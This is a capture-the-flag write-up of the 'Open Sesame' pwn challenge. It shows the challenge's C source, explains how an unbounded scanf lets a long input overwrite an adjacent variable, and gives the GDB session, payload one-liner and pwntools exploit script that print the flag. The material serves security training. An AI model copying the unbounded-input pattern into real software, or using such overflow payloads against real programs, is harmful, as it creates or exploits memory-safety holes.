Info
Name | Difficulty | Author |
---|---|---|
Open Sesame | Easy | JohnHammond |
Something about forty thieves or something? I don’t know, they must have had some secret incantation to get the gold!
Source Code
For this challenge we are provided with the binary and the source code, which will make it much easier to identify vulnerabilities, you can download the files from the link in the Info section or from here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define SECRET_PASS "OpenSesame!!!"
typedef enum {no, yes} Bool;
void flushBuffers() {
fflush(NULL);
}
void flag() {
system("/bin/cat flag.txt");
flushBuffers();
}
Bool isPasswordCorrect(char *input) {
return (strncmp(input, SECRET_PASS, strlen(SECRET_PASS)) == 0) ? yes : no;
}
void caveOfGold() {
Bool caveCanOpen = no;
char inputPass[256];
puts("BEHOLD THE CAVE OF GOLD\n");
puts("What is the magic enchantment that opens the mouth of the cave?");
flushBuffers();
scanf("%s", inputPass);
if (caveCanOpen == no) {
puts("Sorry, the cave will not open right now!");
flushBuffers();
return;
}
if (isPasswordCorrect(inputPass) == yes) {
puts("YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:");
flag();
} else {
puts("ERROR, INCORRECT PASSWORD!");
flushBuffers();
}
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
caveOfGold();
return 0;
}
Analysis
The program starts by calling the function caveOfGold()
, it creates a 256
byte buffer and does a scanf("%s")
without specifying a read size, which makes it vulnerable to buffer overflow
.
In case the caveCanOpen
variable is set to no
, an error message is displayed and the program exits, otherwise isPasswordCorrect()
is called which checks if the password entered is the same as the one the program has hardcoded #define SECRET_PASS "OpenSesame!!!"
and calls the flag()
function which displays the flag for the challenge.
The goal is simple, we know that the password is OpenSesame!!!
so all we have to do is enter this password when the program asks us. The problem is the check of the variable caveCanOpen
, since this one is hardcoded to no
, so technically, we are not going to reach the verification of the password due to this clause. So somehow, first we have to find a way to skip the check:
1
2
3
4
5
6
7
8
9
Bool caveCanOpen = no;
[...]
if (caveCanOpen == no) {
puts("Sorry, the cave will not open right now!");
flushBuffers();
return;
}
Debugging
I will explain the whole debugging process from the beginning, if you just want the solution you can skip to the Exploitation section.
I am using the version of GDB with GEF (GDB Enhanced Features) that you can download from here.
Open binary with GDB
To open the binary with gdb we will execute the following command:
-q
option is used to start GDB in quiet mode.
1
$ gdb -q open_sesame
Lets run the program for the first time with the r
command, so we can see the normal execution flow.
1
2
3
4
5
6
7
8
9
10
gef➤ r
Starting program: /home/kali/ctf/nahamcon2023/open-sesame/open_sesame
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
BEHOLD THE CAVE OF GOLD
What is the magic enchantment that opens the mouth of the cave?
OpenSesame!!!
Sorry, the cave will not open right now!
[Inferior 1 (process 53918) exited normally]
Disassemble caveOfGold
Let’s see the disassembly of the caveOfGold function, which is the main part of the program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
gef➤ disassemble caveOfGold
Dump of assembler code for function caveOfGold:
0x00005555555551eb <+0>: push rbp
0x00005555555551ec <+1>: mov rbp,rsp
0x00005555555551ef <+4>: sub rsp,0x110
0x00005555555551f6 <+11>: mov DWORD PTR [rbp-0x4],0x0
0x00005555555551fd <+18>: lea rax,[rip+0xe24] # 0x555555556028
0x0000555555555204 <+25>: mov rdi,rax
0x0000555555555207 <+28>: call 0x555555555040 <puts@plt>
0x000055555555520c <+33>: lea rax,[rip+0xe35] # 0x555555556048
0x0000555555555213 <+40>: mov rdi,rax
0x0000555555555216 <+43>: call 0x555555555040 <puts@plt>
0x000055555555521b <+48>: mov eax,0x0
0x0000555555555220 <+53>: call 0x555555555189 <flushBuffers>
0x0000555555555225 <+58>: lea rax,[rbp-0x110]
0x000055555555522c <+65>: mov rsi,rax
0x000055555555522f <+68>: lea rax,[rip+0xe52] # 0x555555556088
0x0000555555555236 <+75>: mov rdi,rax
0x0000555555555239 <+78>: mov eax,0x0
0x000055555555523e <+83>: call 0x555555555080 <__isoc99_scanf@plt>
0x0000555555555243 <+88>: cmp DWORD PTR [rbp-0x4],0x0
0x0000555555555247 <+92>: jne 0x555555555264 <caveOfGold+121>
0x0000555555555249 <+94>: lea rax,[rip+0xe40] # 0x555555556090
0x0000555555555250 <+101>: mov rdi,rax
0x0000555555555253 <+104>: call 0x555555555040 <puts@plt>
0x0000555555555258 <+109>: mov eax,0x0
0x000055555555525d <+114>: call 0x555555555189 <flushBuffers>
0x0000555555555262 <+119>: jmp 0x5555555552ac <caveOfGold+193>
0x0000555555555264 <+121>: lea rax,[rbp-0x110]
0x000055555555526b <+128>: mov rdi,rax
0x000055555555526e <+131>: call 0x5555555551ba <isPasswordCorrect>
0x0000555555555273 <+136>: cmp eax,0x1
0x0000555555555276 <+139>: jne 0x555555555293 <caveOfGold+168>
0x0000555555555278 <+141>: lea rax,[rip+0xe41] # 0x5555555560c0
0x000055555555527f <+148>: mov rdi,rax
0x0000555555555282 <+151>: call 0x555555555040 <puts@plt>
0x0000555555555287 <+156>: mov eax,0x0
0x000055555555528c <+161>: call 0x55555555519a <flag>
0x0000555555555291 <+166>: jmp 0x5555555552ac <caveOfGold+193>
0x0000555555555293 <+168>: lea rax,[rip+0xe58] # 0x5555555560f2
0x000055555555529a <+175>: mov rdi,rax
0x000055555555529d <+178>: call 0x555555555040 <puts@plt>
0x00005555555552a2 <+183>: mov eax,0x0
0x00005555555552a7 <+188>: call 0x555555555189 <flushBuffers>
0x00005555555552ac <+193>: leave
0x00005555555552ad <+194>: ret
End of assembler dump.
In the function disassembly code, we can see two things:
[...] <+58>: read rax,[rbp-0x110]
,rbp-0x110
is where the input is stored[...] <+88>: cmp DWORD PTR [rbp-0x4],0x0
,rbp-0x4
is the static variable caveCanOpen.
Lets set a breakpoint just before the caveCanOpen == no
check (cmp DWORD PTR [rbp-0x4],0x0
).
1
2
gef➤ b *0x555555555243
Breakpoint 1 at 0x555555555243
We are going to run the program again but this time we are going to put 256 "A"
as input to see how the stack is arranged.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
gef➤ r
Starting program: /home/kali/ctf/nahamcon2023/open-sesame/open_sesame
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
BEHOLD THE CAVE OF GOLD
What is the magic enchantment that opens the mouth of the cave?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0000555555555243 in caveOfGold ()
[...]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555555236 <caveOfGold+75> mov rdi, rax
0x555555555239 <caveOfGold+78> mov eax, 0x0
0x55555555523e <caveOfGold+83> call 0x555555555080 <__isoc99_scanf@plt>
●→ 0x555555555243 <caveOfGold+88> cmp DWORD PTR [rbp-0x4], 0x0
0x555555555247 <caveOfGold+92> jne 0x555555555264 <caveOfGold+121>
0x555555555249 <caveOfGold+94> lea rax, [rip+0xe40] # 0x555555556090
0x555555555250 <caveOfGold+101> mov rdi, rax
0x555555555253 <caveOfGold+104> call 0x555555555040 <puts@plt>
0x555555555258 <caveOfGold+109> mov eax, 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "open_sesame", stopped 0x555555555243 in caveOfGold (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555243 → caveOfGold()
[#1] 0x5555555552e4 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
First we obtain the buffer and variable addresses. Let’s also see how the stack is positioned starting from the buffer.
1
2
3
4
gef➤ print $rbp-0x110
$1 = (void *) 0x7fffffffdc40
gef➤ print $rbp-0x4
$2 = (void *) 0x7fffffffdd4c
We can see that both the buffer and the variable are in contiguous regions of memory, and because the buffer is vulnerable to buffer overflow, we can enter enough data to overwrite the variable so that it is no longer 0.
Let’s restart the program and try again but this time with 270 "A"
Great! we have overwritten the variable, let’s see what happens now if we continue with the execution of the program:
1
2
3
4
gef➤ c
Continuing.
ERROR, INCORRECT PASSWORD!
[Inferior 1 (process 90143) exited normally]
Perfect, we no longer see the Sorry, the cave will not open right now!
message, which means that we have bypassed the check of the variable when overwriting it and now we get to the execution of the isPasswordCorrect()
function.
Exploitation
Let’s recap, we know that if we entered 270 characters
, we can overwrite the caveCanOpen
variable, which allows us to get to isPasswordCorrect()
which is going to check the input and see if it matches OpenSesame!!!
.
Let’s remember what isPasswordCorrect does:
1
2
3
Bool isPasswordCorrect(char *input) {
return (strncmp(input, SECRET_PASS, strlen(SECRET_PASS)) == 0) ? yes : no;
}
Extracts from our input as many characters as the length of the password, and then check that it is the same as OpenSesame!!!
. Basically, it selects the first 13 characters
of our input and checks that they match the password.
Crafting the Payload
The plan is simple, instead of sending 270 “A”, we will send OpenSesame!!! + (270 - 13) "A"
, which would look something like this:
1
2
$ python -c 'print("OpenSesame!!!" + "A" * (270 - 13))'
OpenSesame!!!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1
2
3
4
5
6
7
$ ./open_sesame
BEHOLD THE CAVE OF GOLD
What is the magic enchantment that opens the mouth of the cave?
OpenSesame!!!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:
flag{share_the_post_if_you_liked}
and there we have the flag!
Exploit with pwntools
We can make this whole process a little more automatic by using pwntools with the following script.
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3
from pwn import *
p = process("./open_sesame")
buff = "A" * 256
secret_pass = "OpenSesame!!!"
p.recvuntil(b"What is the magic enchantment that opens the mouth of the cave?")
p.sendline(str.encode(secret_pass + buff))
print(p.recvall())
Final Thoughts
An easy challenge since we had the support of the source code, but still very interesting to practice.